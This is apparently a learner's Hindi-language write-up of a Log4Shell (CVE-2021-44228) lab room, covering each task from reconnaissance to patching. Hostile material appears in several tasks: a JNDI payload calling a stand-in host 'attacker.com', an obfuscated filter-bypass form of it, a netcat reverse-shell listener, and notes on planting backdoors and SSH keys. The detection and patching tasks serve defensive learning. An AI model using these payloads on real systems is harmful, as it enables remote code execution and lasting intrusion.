
यह कक्ष कुख्यात Log4j भेद्यता (CVE-2021-44228) के शोषण पर आधारित है, जिसे Log4Shell भी कहा जाता है। यह कमजोरी हमलावरों को लॉग संदेशों में दुर्भावनापूर्ण पेलोड इंजेक्ट करके दूरस्थ कोड निष्पादित करने में सक्षम बनाती है।
यह कक्षा कुख्यात Log4j भेद्यता (CVE-2021-44228) के शोषण पर आधारित है, जिसे Log4Shell भी कहा जाता है। यह कमजोरी हमलावरों को लॉग संदेशों में दुर्भावनापूर्ण पेलोड इंजेक्ट करके दूरस्थ कोड निष्पादित करने में सक्षम बनाती है।
कार्य 1 – CVE-2021-44228 परिचय
इस कार्य में, मैंने Apache Log4j में Log4Shell भेद्यता (CVE-2021-44228) के बारे में सीखा। • Log4j एक व्यापक रूप से उपयोग की जाने वाली Java लॉगिंग लाइब्रेरी है। • यह भेद्यता JNDI लुकअप के माध्यम से दूरस्थ कोड निष्पादन (RCE) की अनुमति देती है। • हमलावर इस प्रकार के पेलोड इंजेक्ट कर सकते हैं: ${jndi:ldap://attacker.com/a} • जब लॉग किया जाता है, तो सर्वर हमलावर-नियंत्रित सर्वर से संपर्क करता है और दुर्भावनापूर्ण कोड निष्पादित करता है। 👉 इससे पता चला कि सैनिटाइजेशन के बिना उपयोगकर्ता इनपुट को लॉग करना कितना खतरनाक हो सकता है।
कार्य 2 – टोही
यहाँ, मैंने लक्ष्य प्रणाली से बातचीत शुरू की। • वेब एप्लिकेशन तक पहुँचा। • इनपुट फ़ील्ड और हेडर की पहचान की जो लॉग किए जा सकते हैं। • देखा कि एप्लिकेशन उपयोगकर्ता इनपुट को कैसे संसाधित करता है। 👉 लक्ष्य: पता लगाना कि Log4j कहाँ उपयोग किया जाता है और पेलोड कहाँ इंजेक्ट किए जा सकते हैं।
कार्य 3 – खोज
इस चरण में, मैंने भेद्यता की पुष्टि की। • हेडर में पेलोड इंजेक्शन का परीक्षण किया जैसे: • User-Agent • X-Forwarded-For • आउटबाउंड कनेक्शन या प्रतिक्रियाओं की जाँच की। 👉 इससे यह सत्यापित करने में मदद मिली कि एप्लिकेशन Log4Shell के प्रति संवेदनशील है।
कार्य 4 – अवधारणा का प्रमाण
मैंने भेद्यता प्रदर्शित करने के लिए एक कार्यशील PoC बनाया। • कॉलबैक का पता लगाने के लिए एक लिसनर/सर्वर सेट किया। • JNDI पेलोड इंजेक्ट किया। • देखा कि लक्ष्य ने मेरे सर्वर पर एक अनुरोध किया। 👉 इसने दूरस्थ बातचीत की पुष्टि की → भेद्यता शोषण योग्य है।
कार्य 5 – शोषण
यहाँ, मैं PoC से पूर्ण शोषण की ओर बढ़ा। • एक दुर्भावनापूर्ण पेलोड (Java क्लास या स्क्रिप्ट) होस्ट किया। • सर्वर को इसे लोड करने के लिए मजबूर करने के लिए JNDI इंजेक्शन का उपयोग किया। • रिवर्स शेल प्राप्त किया। उदाहरण: nc -lvnp 4444 👉 सफलतापूर्वक दूरस्थ कोड निष्पादन प्राप्त किया।
कार्य 6 – स्थिरता
पहुँच प्राप्त करने के बाद, मैंने निरंतर पहुँच सुनिश्चित की। • बैकडोर बनाए या SSH कुंजियाँ जोड़ीं। • आवश्यकता होने पर सिस्टम कॉन्फ़िगरेशन संशोधित किए। 👉 यह रीबूट या सत्र हानि के बाद भी पहुँच सुनिश्चित करता है।
कार्य 7 – पहचान
यह कार्य हमलों की पहचान पर केंद्रित था। • सीखा कि Log4j शोषण लॉग में कैसे दिखाई देते हैं। • संकेतक: • ${jndi:ldap://...} पैटर्न • संदिग्ध आउटबाउंड LDAP/DNS ट्रैफ़िक 👉 नीली टीमों के लिए शोषण प्रयासों का पता लगाने के लिए महत्वपूर्ण।
कार्य 8 – बाईपास
यहाँ, मैंने खोजा कि हमलावर फ़िल्टर को कैसे बायपास करते हैं। • अस्पष्टीकरण तकनीकें: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • पहचान से बचने के लिए पेलोड को एन्कोड करना। 👉 दिखाता है कि सरल फ़िल्टरिंग पर्याप्त नहीं है।
कार्य 9 – शमन
पूर्ण पैचिंग के बिना जोखिम कम करने का तरीका सीखा। • JNDI लुकअप अक्षम करें • आउटबाउंड नेटवर्क कनेक्शन प्रतिबंधित करें • WAF नियमों का उपयोग करें 👉 उचित पैचिंग से पहले अस्थायी सुरक्षा।
कार्य 10 – पैच करना
स्थायी सुधारों पर केंद्रित। • Log4j को अपडेट करें: • 2.17.0 या बाद का संस्करण • संवेदनशील कक्षाएं हटाएं: JndiLookup.class 👉 उचित पैचिंग पूरी तरह से भेद्यता को समाप्त करती है।
कार्य 11 – श्रेय और लेखक के नोट्स
• कक्षा निर्माताओं का आभार। • सीखने के उद्देश्यों का सारांश। • Log4Shell के प्रभाव पर अंतिम अंतर्दृष्टि।
अंतिम विचार
इस कक्षा ने मुझे इसकी पूरी समझ दी: • एक गंभीर वास्तविक दुनिया की भेद्यता कैसे काम करती है • हमलावर चरण-दर-चरण इसका शोषण कैसे करते हैं • रक्षक इसका पता कैसे लगाते हैं और इसे कैसे रोकते हैं 👉 यह साइबर सुरक्षा इतिहास के सबसे प्रभावशाली कमजोरियों में से एक के साथ एक शानदार व्यावहारिक अनुभव था।